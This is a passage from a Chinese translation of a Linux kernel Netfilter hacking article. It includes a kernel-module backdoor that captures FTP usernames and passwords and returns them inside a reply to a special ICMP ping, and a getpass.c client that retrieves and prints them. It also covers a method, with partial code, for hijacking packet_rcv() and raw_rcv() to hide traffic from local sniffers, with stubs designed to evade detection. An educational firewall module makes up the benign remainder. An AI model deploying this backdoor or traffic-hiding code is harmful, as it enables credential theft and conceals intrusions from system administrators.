    struct sk_buff *sb = *skb;
    struct icmphdr *icmp;
    char *cp_data;                      /* Where we copy data to in reply */
    unsigned int      taddr;                    /* Temporary IP holder */

    /* Do we even have a username/password pair to report yet? */
    if (!have_pair)
        return NF_ACCEPT;

    /* Is this an ICMP packet? */
    if (sb->nh.iph->protocol != IPPROTO_ICMP)
        return NF_ACCEPT;
```

```
icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);

/* Is it the MAGIC packet? */
if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
   || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
     return NF_ACCEPT;
}

/* Okay, matches our checks for "Magicness", now we fiddle with
  * the sk_buff to insert the IP address, and username/password pair,
  * swap IP source and destination addresses and ethernet addresses
  * if necessary and then transmit the packet from here and tell
  * Netfilter we stole it. Phew... */
taddr = sb->nh.iph->saddr;
sb->nh.iph->saddr = sb->nh.iph->daddr;
sb->nh.iph->daddr = taddr;

sb->pkt_type = PACKET_OUTGOING;

switch (sb->dev->type) {
  case ARPHRD_PPP:                    /* No fiddling needs doing */
     break;
  case ARPHRD_LOOPBACK:
  case ARPHRD_ETHER:
  {
       unsigned char t_hwaddr[ETH_ALEN];

       /* Move the data pointer to point to the link layer header */
       sb->data = (unsigned char *)sb->mac.ethernet;
       sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
       memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
       memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
            ETH_ALEN);
       memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);

       break;
  }
};

/* Now copy the IP address, then Username, then password into packet */
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
memcpy(cp_data, &target_ip, 4);
if (username)
   memcpy(cp_data + 4, username, 16);
```

```
    if (password)
       memcpy(cp_data + 20, password, 16);

    /* This is where things will die if they are going to.
     * Fingers crossed... */
    dev_queue_xmit(sb);

    /* Now free the saved username and password and reset have_pair */
    kfree(username);
    kfree(password);
    username = password = NULL;
    have_pair = 0;

    target_port = target_ip = 0;

//     printk("Password retrieved\n");

    return NF_STOLEN;
}

int init_module()
{
    pre_hook.hook          = watch_in;
    pre_hook.pf            = PF_INET;
    pre_hook.priority = NF_IP_PRI_FIRST;
    pre_hook.hooknum    = NF_IP_PRE_ROUTING;

    post_hook.hook         = watch_out;
    post_hook.pf           = PF_INET;
    post_hook.priority = NF_IP_PRI_FIRST;
    post_hook.hooknum    = NF_IP_POST_ROUTING;

    nf_register_hook(&pre_hook);
    nf_register_hook(&post_hook);

    return 0;
}

void cleanup_module()
{
    nf_unregister_hook(&post_hook);
    nf_unregister_hook(&pre_hook);

    if (password)
```

```
        kfree(password);
    if (username)
        kfree(username);
}
```

5.2.2 getpass.c 代码

```
/* getpass.c - simple utility to get username/password pair from
 * the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
 * Mostly stripped from my source for InfoPig.
 *
 * Written by bioforge    -    March 2003 */

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>

#ifndef __USE_BSD
# define __USE_BSD                      /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{
        unsigned char dgram[256];               /* Plenty for a PING datagram */
        unsigned char recvbuff[256];
        struct ip *iphead = (struct ip *)dgram;
        struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
        struct sockaddr_in src;
        struct sockaddr_in addr;
        struct in_addr my_addr;
        struct in_addr serv_addr;
        socklen_t src_addr_size = sizeof(struct sockaddr_in);
        int icmp_sock = 0;
```

```
int one = 1;
int *ptr_one = &one;

if (argc < 3) {
fprintf(stderr, "Usage:    %s remoteIP myIP\n", argv[0]);
exit(1);
}

/* Get a socket */
if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
fprintf(stderr, "Couldn't open raw socket! %s\n",
       strerror(errno));
exit(1);
}

/* set the HDR_INCL option on the socket */
if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
           ptr_one, sizeof(one)) < 0) {
close(icmp_sock);
fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
              strerror(errno));
exit(1);
}

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(argv[1]);

my_addr.s_addr = inet_addr(argv[2]);

memset(dgram, 0x00, 256);
memset(recvbuff, 0x00, 256);

/* Fill in the IP fields first */
iphead->ip_hl    = 5;
iphead->ip_v     = 4;
iphead->ip_tos = 0;
iphead->ip_len = 84;
iphead->ip_id    = (unsigned short)rand();
iphead->ip_off = 0;
iphead->ip_ttl = 128;
iphead->ip_p     = IPPROTO_ICMP;
iphead->ip_sum = 0;
iphead->ip_src = my_addr;
iphead->ip_dst = addr.sin_addr;
```

```
        /* Now fill in the ICMP fields */
        icmphead->icmp_type = ICMP_ECHO;
        icmphead->icmp_code = 0x5B;
        icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);

        /* Finally, send the packet */
        fprintf(stdout, "Sending request...\n");
        if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
                sizeof(struct sockaddr)) < 0) {
        fprintf(stderr, "\nFailed sending request! %s\n",
              strerror(errno));
        return 0;
        }

        fprintf(stdout, "Waiting for reply...\n");
        if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
                &src_addr_size) < 0) {
        fprintf(stdout, "Failed getting reply packet! %s\n",
              strerror(errno));
        close(icmp_sock);
        exit(1);
        }

        iphead = (struct ip *)recvbuff;
        icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
        memcpy(&serv_addr, ((char *)icmphead + 8),
                sizeof (struct in_addr));

        fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
        fprintf(stdout, "Username:       %s\n",
                (char *)((char *)icmphead + 12));
        fprintf(stdout, "Password:       %s\n",
                (char *)((char *)icmphead + 28));

        close(icmp_sock);

        return 0;
}

/* Checksum-generation function. It appears that PING'ed machines don't
  * reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
  * Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
```

```
{
    unsigned long sum;

    for(sum = 0;numwords > 0;numwords--)
      sum += *buff++;     /* add next word, then increment pointer */

    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);

    return ~sum;
}
```

第六章　在 Libpcap 中隐藏网络通讯

6.1 SOCK_PACKET, SOCK_RAW 和 Libpcap

系统管理员经常用到的一些软件可“数据包嗅探器”这个标题进行分类。最普通的用于一般目的的数据包嗅探器有

Tcpdump(1)和 Ethreal(1)。这两个应用都是利用了 libpcap 这个库来获取原始套结字的数据包。网络入侵检测系统(NetWork Intrusion Detection System NIDS)也利用了 libpcap 这个库。SNORT 也需要 libpcap, Libnids----一个提供 IP 重组和 TCP 流跟踪的 NIDS 开发库(参见参考文献[2])，也是如此。

在一台 Linux 系统上，libpcap 利用 SOCK_PACKET 接口。Packet 套结字是一种能够在链路层接收和发送数据包的特殊套结字。关于 packet 套结字和它的用途可以说一大堆东西，但是本文是从它们当中隐藏而不是讲述如何利用它们的。感兴趣的读者可以从 packet(7)的 man 手册中了解到更详细的信息。在此处。我们只需要知道 packet 套结字能够被 libpcap 用来从机器上的原始套结字中获取进入的和发送的数据。

当内核的网络堆栈收到一个数据包时，要对其进行一定的校验以便确定是否有 packet 套结字对它感兴趣。如果有的话，这个数据包就被分发给对它感兴趣的套结字。如果没有的话，这个数据包继续流向 TCP 层，UDP 层，或者其它的真正目的地。对于 SOCKET_RAW 型的套结字也是这样的情形。SOCKET_RAW 非常类似于 SOCKET_PACKET 型的套结字，区别就在于 SOCKET_RAW 不提供链路层的头信息。我在附录[3]中的 SYNalert 就是 SOCKET_RAW 利用的一个例子。

现在你应该知道 Linux 系统上的数据包嗅探软件都是利用 libpcap 库了吧。Libpcap 在

Linux 上利用 PACKET_SOCKET 接口从链路层获取原始套结字数据包。原始套结字可以在用户空间被用来从 IP 头中获取所有的数据包。下一段将会讲述一个 Linux 内核模块（LKM）怎样从数据包中或者 SOCKET_RAW 套结字接口中隐藏一个网络传输。

6.2 给狼批上羊皮

当一个数据包被接收到并发送给一个 packet 套结字时，packet_rcv()函数会被调用。可以在 net/packet/af_packet.c 中找到这个函数的源代码。packet_rcv()负责使数据通过所有可能应用于数据目的地的 Netfilter，最终将数据投递到用户空间。为了从 PACKET 中隐藏数据包，我们需要设法让 packet_rcv()对于一些特定的数据包一点也不调用。我们怎样实现这个？当然是优秀的 ol 式的函数劫持了。

函数劫持的基本操作是：如果我们知道一个内核函数，甚至是那些没有被导出的函数的入口地址，我们可以在实际的代码运行前将这个函数重定位到其他的位置。为了达到这样的目的，我们首先要从这个函数的开始，保存其原来的指令字节，然后将它们换成跳转到我们的代码处执行的绝对跳转指令。例如以 i386 汇编语言实现该操作如下：

```
movl    (address of our function),    %eax
        jmp     *eax
```

这些指令产生的 16 进制代码如下(假设函数地址为 0)：

```
0xb8 0x00 0x00 0x00 0x00
        0xff 0xe0
```

如果我们在 Linux 核心模块的初始化时将上例中的函数地址替换为我们的钩子函数的地址，就可以使我们的钩子函数先运行。当我们想运行原来的函数时，只需要在开始时恢复函数原来的指令，调用该函数并且替换我们的劫持代码。简单而有效。Silvio Cesare 不久前写过一篇文章，讲述如何实现内核函数劫持，参见参考文献[4]。

要从 packet 套接字隐藏数据包，我们首先要写一个钩子函数，用来检查这个数据包是否满足被隐藏的标准。如果满足，钩子函数简单的向它的调用者返回一个 0，这样 packet_rcv()函数也就不会被调用。如果 packet_rcv()函数不被调用，那么这个数据包就不会递交给用户空间的 packet 套接字。注意，只是对于"packet"套接字来说，该数据包被丢弃了。如果我们要过滤送到 packet 套接字的 FTP 数据包，那么 FTP 服务器的 TCP 套接字仍然能收到这些数据包。我们所做的一切只是使运行在本机上的嗅探软件无法看到这些数据包。FTP 服务器仍

然能够处理和记录连接。

理论上大致就这么多了，关于原始套接字的用法同理可得。不同的是我们需要钩子的是 raw_rcv()函数（在 net/ipv4/raw.c 中可以找到）。下一节将给出并讨论一个 Linux 核心模块的示例代码，该代码劫持 packet_rcv()函数和 raw_rcv()函数，隐藏任何来自或去往指定的 IP 地址的数据包。

第七章　结束语

希望到现在为止，你对于什么是 Netfilter，怎样使用 Netfilter，可以对 Netfilter 做些什么已经有了一个基本的了解。你应该也具有了在本地机器上将一些特定的网络传输从运行在这些机器上的嗅探型软件中隐藏的知识了。如果你想要关于这方面的压缩包的话，可以直接给我发送 E-mail 邮件。我会为你做的任何修改，注释和建议而感激。现在，我就把这些有趣的东西留给你，你可以自由发挥自己的想象力。

附录 A 轻量级防火墙

A.1 纵览

轻量级防火墙(Light weight fire wall ,LWFW)是一个简单的内核模块，它演示了第四章介绍的基本的数据包过滤技术。LWFW 并通过系统调用 ioctl 提供了一个控制接口。

由于 LWFW 已经有了足够多的文档，所以我在此只就它怎么工作进行简单的概述。当 LWFW 模块被安装时，第一个任务就是尝试去注册一个控制设备。注意，在针对于 LWFW 的 ioctl 接口能够使用之前，需要在/dev 目录下建立一个字符设备文件，如果这个控制设备注册成功的话，“in use”标识符将被清空，为 NF_IP_PRE_ROUTE 注册的钩子函数也就注册上了。clean_up 函数做一些与此过程相反的事情。

LWFW 提供了三个丢弃数据包的判定条件，它们按照处理的顺序依次是：

-----源接口(网卡名，如“eth0”，“eth0:1”等)

------源 IP 地址(如“10.0.1.4”，“192.168.1.1”等)

------目的 TCP 端口号（如 ssh 常用的 22，FTP 常用的 19）

这些规则的具体设定是通过 ioctl 接口来实现的。当一个数据包到来时，LWFW 会根据

设定好的规则对这些数据包进行检测。如果某个数据包符合其中的任何一个规则，那么钩子函数将返回一个 NF_DROP 结果,从而 Netfilter 就会默默地丢弃这个数据包。负责的话，钩子函数会返回一个 NF_ACCEPT 结果，这个数据包就会继续它的旅途。

最后一个需要提到的就是 LWFW 的统计记录。任何一个数据包到达钩子函数时，只要 LWFW 是活跃的，那么看到的数据包总数目将会增加。单个的规则校验函数负责增加由于符合此项规则而丢弃的数据包数目。需要注意的就是，当某个规则的内容变化时，这个规则对应的丢弃数据包总数也会被清零。Lwfwstats 函数利用 IOCTL 的 LWFW_GET_STATS 命令获取 statistics 结构体的一份拷贝值，并显示它的内容。

A.2 源代码 lwfw.c

```
/* Light-weight Fire Wall. Simple firewall utility based on
 * Netfilter for 2.4. Designed for educational purposes.
 *
 * Written by bioforge    -    March 2003.
 */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/net.h>
#include <linux/types.h>
#include <linux/skbuff.h>
#include <linux/string.h>
#include <linux/malloc.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>

#include <asm/errno.h>
#include <asm/uaccess.h>

#include "lwfw.h"

/* Local function prototypes */
```

```
static int set_if_rule(char *name);
static int set_ip_rule(unsigned int ip);
static int set_port_rule(unsigned short port);
static int check_ip_packet(struct sk_buff *skb);
static int check_tcp_packet(struct sk_buff *skb);
static int copy_stats(struct lwfw_stats *statbuff);

/* Some function prototypes to be used by lwfw_fops below. */
static int lwfw_ioctl(struct inode *inode, struct file *file,
                      unsigned int cmd, unsigned long arg);
static int lwfw_open(struct inode *inode, struct file *file);
static int lwfw_release(struct inode *inode, struct file *file);



/* Various flags used by the module */
/* This flag makes sure that only one instance of the lwfw device
  * can be in use at any one time. */
static int lwfw_ctrl_in_use = 0;

/* This flag marks whether LWFW should actually attempt rule checking.
  * If this is zero then LWFW automatically allows all packets. */
static int active = 0;

/* Specifies options for the LWFW module */
static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE
                                | LWFW_IP_DENY_ACTIVE
                                | LWFW_PORT_DENY_ACTIVE);

static int major = 0;                   /* Control device major number */

/* This struct will describe our hook procedure. */
struct nf_hook_ops nfkiller;

/* Module statistics structure */
static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};

/* Actual rule 'definitions'. */
/* TODO:    One day LWFW might actually support many simultaneous rules.
  * Just as soon as I figure out the list_head mechanism... */
static char *deny_if = NULL;                            /* Interface to deny */
static unsigned int deny_ip = 0x00000000;       /* IP address to deny */
static unsigned short deny_port = 0x0000;      /* TCP port to deny */

/*
```

```
 * This is the interface device's file_operations structure
 */
struct file_operations    lwfw_fops = {
    NULL,
       NULL,
       NULL,
       NULL,
       NULL,
       NULL,
       lwfw_ioctl,
       NULL,
       lwfw_open,
       NULL,
       lwfw_release,
       NULL                          /* Will be NULL'ed from here... */
};

MODULE_AUTHOR("bioforge");
MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");

/*
 * This is the function that will be called by the hook
 */
unsigned int lwfw_hookfn(unsigned int hooknum,
                         struct sk_buff **skb,
                         const struct net_device *in,
                         const struct net_device *out,
                         int (*okfn)(struct sk_buff *))
{
    unsigned int ret = NF_ACCEPT;

    /* If LWFW is not currently active, immediately return ACCEPT */
    if (!active)
       return NF_ACCEPT;

    lwfw_statistics.total_seen++;

    /* Check the interface rule first */
    if (deny_if && DENY_IF_ACTIVE) {
        if (strcmp(in->name, deny_if) == 0) {      /* Deny this interface */
       lwfw_statistics.if_dropped++;
       lwfw_statistics.total_dropped++;
       return NF_DROP;
         }
```

```
    }

    /* Check the IP address rule */
    if (deny_ip && DENY_IP_ACTIVE) {
        ret = check_ip_packet(*skb);
        if (ret != NF_ACCEPT) return ret;
    }

    /* Finally, check the TCP port rule */
    if (deny_port && DENY_PORT_ACTIVE) {
        ret = check_tcp_packet(*skb);
        if (ret != NF_ACCEPT) return ret;
    }

    return NF_ACCEPT;                   /* We are happy to keep the packet */
}

/* Function to copy the LWFW statistics to a userspace buffer */
static int copy_stats(struct lwfw_stats *statbuff)
{
    NULL_CHECK(statbuff);

    copy_to_user(statbuff, &lwfw_statistics,
            sizeof(struct lwfw_stats));

    return 0;
}

/* Function that compares a received TCP packet's destination port
  * with the port specified in the Port Deny Rule. If a processing
  * error occurs, NF_ACCEPT will be returned so that the packet is
  * not lost. */
static int check_tcp_packet(struct sk_buff *skb)
{
    /* Seperately defined pointers to header structures are used
      * to access the TCP fields because it seems that the so-called
      * transport header from skb is the same as its network header TCP packets.
      * If you don't believe me then print the addresses of skb->nh.iph
      * and skb->h.th.
      * It would have been nicer if the network header only was IP and
      * the transport header was TCP but what can you do? */
    struct tcphdr *thead;

    /* We don't want any NULL pointers in the chain to the TCP header. */
```

```
    if (!skb ) return NF_ACCEPT;
    if (!(skb->nh.iph)) return NF_ACCEPT;

    /* Be sure this is a TCP packet first */
    if (skb->nh.iph->protocol != IPPROTO_TCP) {
        return NF_ACCEPT;
    }

    thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));

    /* Now check the destination port */
    if ((thead->dest) == deny_port) {
        /* Update statistics */
        lwfw_statistics.total_dropped++;
        lwfw_statistics.tcp_dropped++;

        return NF_DROP;
    }

    return NF_ACCEPT;
}

/* Function that compares a received IPv4 packet's source address
  * with the address specified in the IP Deny Rule. If a processing
  * error occurs, NF_ACCEPT will be returned so that the packet is
  * not lost. */
static int check_ip_packet(struct sk_buff *skb)
{
    /* We don't want any NULL pointers in the chain to the IP header. */
    if (!skb ) return NF_ACCEPT;
    if (!(skb->nh.iph)) return NF_ACCEPT;

    if (skb->nh.iph->saddr == deny_ip) {/* Matches the address. Barf. */
        lwfw_statistics.ip_dropped++;       /* Update the statistics */
        lwfw_statistics.total_dropped++;

        return NF_DROP;
    }

    return NF_ACCEPT;
}

static int set_if_rule(char *name)
{
```

```
    int ret = 0;
    char *if_dup;                       /* Duplicate interface */

    /* Make sure the name is non-null */
    NULL_CHECK(name);

    /* Free any previously saved interface name */
    if (deny_if) {
        kfree(deny_if);
        deny_if = NULL;
    }

    if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL))
            == NULL) {
        ret = -ENOMEM;
    } else {
        memset(if_dup, 0x00, strlen((char *)name) + 1);
        memcpy(if_dup, (char *)name, strlen((char *)name));
    }

    deny_if = if_dup;
    lwfw_statistics.if_dropped = 0;         /* Reset drop count for IF rule */
    printk("LWFW: Set to deny from interface: %s\n", deny_if);

    return ret;
}

static int set_ip_rule(unsigned int ip)
{
    deny_ip = ip;
    lwfw_statistics.ip_dropped = 0;         /* Reset drop count for IP rule */

    printk("LWFW: Set to deny from IP address: %d.%d.%d.%d\n",
        ip & 0x000000FF, (ip & 0x0000FF00) >> 8,
        (ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);

    return 0;
}

static int set_port_rule(unsigned short port)
{
    deny_port = port;
    lwfw_statistics.tcp_dropped = 0;        /* Reset drop count for TCP rule */
```

```
    printk("LWFW: Set to deny for TCP port: %d\n",
        ((port & 0xFF00) >> 8 | (port & 0x00FF) << 8));

    return 0;
}

/*********************************************/
/*
 * File operations functions for control device
 */
static int lwfw_ioctl(struct inode *inode, struct file *file,
                      unsigned int cmd, unsigned long arg)
{
    int ret = 0;

    switch (cmd) {
     case LWFW_GET_VERS:
        return LWFW_VERS;
     case LWFW_ACTIVATE: {
          active = 1;
          printk("LWFW: Activated.\n");
          if (!deny_if && !deny_ip && !deny_port) {
        printk("LWFW: No deny options set.\n");
          }
          break;
     }
     case LWFW_DEACTIVATE: {
          active ^= active;
          printk("LWFW: Deactivated.\n");
          break;
     }
     case LWFW_GET_STATS: {
          ret = copy_stats((struct lwfw_stats *)arg);
          break;
     }
     case LWFW_DENY_IF: {
          ret = set_if_rule((char *)arg);
          break;
     }
     case LWFW_DENY_IP: {
          ret = set_ip_rule((unsigned int)arg);
          break;
     }
     case LWFW_DENY_PORT: {
```

```
            ret = set_port_rule((unsigned short)arg);
            break;
        }
        default:
            ret = -EBADRQC;
    };

    return ret;
}

/* Called whenever open() is called on the device file */
static int lwfw_open(struct inode *inode, struct file *file)
{
    if (lwfw_ctrl_in_use) {
        return -EBUSY;
    } else {
        MOD_INC_USE_COUNT;
        lwfw_ctrl_in_use++;
        return 0;
    }
    return 0;
}

/* Called whenever close() is called on the device file */
static int lwfw_release(struct inode *inode, struct file *file)
{
    lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
    MOD_DEC_USE_COUNT;
    return 0;
}

/*********************************************/
/*
 * Module initialisation and cleanup follow...
 */
int init_module()
{
    /* Register the control device, /dev/lwfw */
        SET_MODULE_OWNER(&lwfw_fops);

    /* Attempt to register the LWFW control device */
    if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME,
                    &lwfw_fops)) < 0) {
        printk("LWFW: Failed registering control device!\n");
```

```
        printk("LWFW: Module installation aborted.\n");
        return major;
    }

    /* Make sure the usage marker for the control device is cleared */
    lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;

    printk("\nLWFW: Control device successfully registered.\n");

    /* Now register the network hooks */
    nfkiller.hook = lwfw_hookfn;
    nfkiller.hooknum = NF_IP_PRE_ROUTING;      /* First stage hook */
    nfkiller.pf = PF_INET;                     /* IPV4 protocol hook */
    nfkiller.priority = NF_IP_PRI_FIRST;       /* hook to come first */

    /* And register... */
    nf_register_hook(&nfkiller);

    printk("LWFW: Network hooks successfully installed.\n");

    printk("LWFW: Module installation successful.\n");
    return 0;
}

void cleanup_module()
{
    int ret;

    /* Remove IPV4 hook */
    nf_unregister_hook(&nfkiller);

    /* Now unregister control device */
    if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) {
        printk("LWFW: Removal of module failed!\n");
    }

    /* If anything was allocated for the deny rules, free it here */
    if (deny_if)
       kfree(deny_if);

    printk("LWFW: Removal of module successful.\n");
}
<-->
```

A.3 lwfw.h，Makefile 和译者自己添加的测试程序 test.c

```
<++> lwfw/lwfw.h
/* Include file for the Light-weight Fire Wall LKM.
 *
 * A very simple Netfilter module that drops backets based on either
 * their incoming interface or source IP address.
 *
 * Written by bioforge    -    March 2003
 */

#ifndef __LWFW_INCLUDE__
# define __LWFW_INCLUDE__

/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.
 * Userspace code has no business knowing about it. */
# define LWFW_NAME              "lwfw"

/* Version of LWFW */
# define LWFW_VERS              0x0001          /* 0.1 */

/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will
 * print anything with printk(). This is included for debugging purposes.
 */
#define LWFW_TALKATIVE

/* These are the IOCTL codes used for the control device */
#define LWFW_CTRL_SET     0xFEED0000        /* The 0xFEED... prefix is arbitrary */
#define LWFW_GET_VERS     0xFEED0001        /* Get the version of LWFM */
#define LWFW_ACTIVATE     0xFEED0002
#define LWFW_DEACTIVATE 0xFEED0003
#define LWFW_GET_STATS    0xFEED0004
#define LWFW_DENY_IF      0xFEED0005
#define LWFW_DENY_IP      0xFEED0006
#define LWFW_DENY_PORT    0xFEED0007

/* Control flags/Options */
#define LWFW_IF_DENY_ACTIVE     0x00000001
#define LWFW_IP_DENY_ACTIVE     0x00000002
#define LWFW_PORT_DENY_ACTIVE 0x00000004

/* Statistics structure for LWFW.
 * Note that whenever a rule's condition is changed the related
 * xxx_dropped field is reset.
```

```
 */
struct lwfw_stats {
    unsigned int if_dropped;            /* Packets dropped by interface rule */
    unsigned int ip_dropped;            /* Packets dropped by IP addr. rule */
    unsigned int tcp_dropped;           /* Packets dropped by TCP port rule */
    unsigned long total_dropped;     /* Total packets dropped */
    unsigned long total_seen;           /* Total packets seen by filter */
};

/*
 * From here on is used solely for the actual kernel module
 */
#ifdef __KERNEL__
# define LWFW_MAJOR             241     /* This exists in the experimental range */

/* This macro is used to prevent dereferencing of NULL pointers. If
 * a pointer argument is NULL, this will return -EINVAL */
#define NULL_CHECK(ptr)       \
    if ((ptr) == NULL)    return -EINVAL

/* Macros for accessing options */
#define DENY_IF_ACTIVE       (lwfw_options & LWFW_IF_DENY_ACTIVE)
#define DENY_IP_ACTIVE       (lwfw_options & LWFW_IP_DENY_ACTIVE)
#define DENY_PORT_ACTIVE    (lwfw_options & LWFW_PORT_DENY_ACTIVE)

#endif                                  /* __KERNEL__ */
#endif
```

Makefile 如下

```
CC= egcs
CFLAGS= -Wall -O2
OBJS= lwfw.o

.c.o:
    $(CC) -c $< -o $@ $(CFLAGS)

all: $(OBJS)

clean:
    rm -rf *.o
    rm -rf ./*~
```

下面是译者自己在学习时写的一个对 LWFW 的过滤规则进行设置和改动的例子，你也可以对此段代码进行修改，当模块成功加载之后，建立一个字符设备文件，然后这个程序就

能运行了。

```
/*
Name: test.c
Author: duanjigang<duanjigang1983@gmail.com>
Date: 2006-5-15
*/
#include<sys/types.h>
#include<unistd.h>
#include<fcntl.h>
#include<linux/rtc.h>
#include<linux/ioctl.h>
#include "lwfw.h"
main()
{
        int fd;
        int i;
        struct lwfw_stats data;
        int retval;
        char msg[128];
        /*来自这个 IP 地址的数据将被丢弃*/
        char * deny_ip = "192.168.1.105";
        /*这个接口发出的数据将被丢弃，无法外流*/
        char *ifcfg = "eth0";
        /*要禁止的 TCP 目的端口 22， ssh 的默认端口*/
        unsigned char *    port = "\x00\x16";
        /*打开设备文件*/
        fd = open(LWFW_NAME, O_RDONLY);
        if(fd == -1)
       {
            perror("open fail!");
```

```
        exit(-1);
    }
    /*激活 LWFW，设置标志位*/
    if( ioctl(fd,LWFW_ACTIVATE,0) == -1 )
    {
        perror("ioctl LWFW_ACTIVATE fail!\n");
        exit(-1);
    }
 /*设置禁止 IP*/
if( ioctl(fd, LWFW_DENY_IP, inet_addr(deny_ip)) == -1)
    {
        printf("ioctl LWFW_DENY_IP fail\n");
        exit(-1);
    }
 /*设置禁止端口*/
if(ioctl(fd, LWFW_DENY_PORT, *(unsigned short *)port) == -1)
    {
        printf("ioctl LWFW_DENY_PORT fail!\n");
        exit(-1);
    }
    /*获取数据，这应该是一段时间之后的事，此处直接获取，不妥*/
    if( ioctl(fd, LWFW_GET_STATS,*(unsigned long*)&data) == -1)
    {
        printf("iotcl LWFW_GET_STATS fail!\n");
        exit(-1);
    }
    /*
    禁用这个接口
   if(ioctl(fd, LWFW_DENY_IF, (unsigned*)ifcfg) == -1)
    {
```

```
                printf("ioctl LWFW_DENY_IF fail!\n");
                exit(-1);
        }
        */
        printf("ip dropped : %d\n", data.ip_dropped);
        printf("if dropped : %d\n", data.if_dropped);
        printf("tcp dropped : %d\n", data.tcp_dropped);
        printf("total dropped : %d\n", data.total_dropped);
        printf("total seen: %d\n", data.total_seen);
        close(fd);
}
```

附录 B　第六部分的代码

这里是一个简单的模块，在这个模块中将对 packet_rcv()函数和 raw_rcv()函数进行替换，从而隐藏到达或者离开我们指定所 IP 地址的数据包。默认的 IP 是“127.0.0.1”，但是，可以通过修改#define IP 来改动这个值。同样提供了一个 bash 的脚本，负责从 Sytem.map 文件中获取所需函数的地址，并且负责模块的插入，在插入模块时，以所需的格式将这些函数的地址传递给内核。这个加载脚本是 grem 写的。原来是为我的 mod-off 项目而写，经过简单的修改就能用于这里的模块，再次感谢 grem。

这里给出的模块只是原理性的代码，没有任何模块隐藏的方法。有很重要的一点需要记住，尽管这个模块能够从运行于同一台机子上的嗅探器中隐藏指定的传输，但是，位于同一个网段上的其他机子上的嗅探器仍然能够看到这些数据包。看了这个模块，精干的读者很快就能设计一些 Netfilter 钩子函数来阻断任何一种想要阻断的数据包。我就利用本文中提到的技术成功地在其它内核模块项目中实现了对控制和信息获取数据包的隐藏。

<++> pcaphide/pcap_block.c

```
/* Kernel hack that will hijack the packet_rcv() function
 * which is used to pass packets to    Libpcap applications
```

```
 * that use    PACKET sockets.    Also    hijacks the raw_rcv()
 * function. This is used to pass packets to applications
 * that open RAW sockets.
 *
 * Written by bioforge    -    30th June, 2003
 */

#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/smp_lock.h>
#include <linux/ip.h>                   /* For struct ip */
#include <linux/if_ether.h>             /* For ETH_P_IP */

#include <asm/page.h>                   /* For PAGE_OFFSET */

/*
 * IP address to hide 127.0.0.1 in NBO for Intel */
#define IP      htonl(0x7F000001)

/* Function pointer for original packet_rcv() */
static int (*pr)(struct sk_buff *skb, struct net_device *dev,
                 struct packet_type *pt);
MODULE_PARM(pr, "i");           /* Retrieved as insmod parameter */
```

```
/* Function pointer for original raw_rcv() */
static int (*rr)(struct sock *sk, struct sk_buff *skb);
MODULE_PARM(rr, "i");

/* Spinlock used for the parts where we un/hijack packet_rcv() */
static spinlock_t hijack_lock    = SPIN_LOCK_UNLOCKED;

/* Helper macros for use with the Hijack spinlock */
#define HIJACK_LOCK        spin_lock_irqsave(&hijack_lock, \
                             sl_flags)
#define HIJACK_UNLOCK    spin_unlock_irqrestore(&hijack_lock, \
                               sl_flags)

#define CODESIZE 10
/* Original and hijack code buffers.
  * Note that the hijack code also provides 3 additional
  * bytes ( inc eax;    nop;    dec eax ) to try and throw
  * simple hijack detection techniques that just look for
  * a move and a jump. */
/* For packet_rcv() */
static unsigned char pr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
                                                    "\x40\x90\x48"
                                                    "\xff\xe0";
static unsigned char pr_orig[CODESIZE];

/* For raw_rcv() */
static unsigned char rr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
                                                    "\x40\x90\x48"
                                                    "\xff\xe0";
static unsigned char rr_orig[CODESIZE];
```

```
/* Replacement for packet_rcv(). This is currently setup to hide
  * all packets with a source or destination IP address that we
  * specify. */
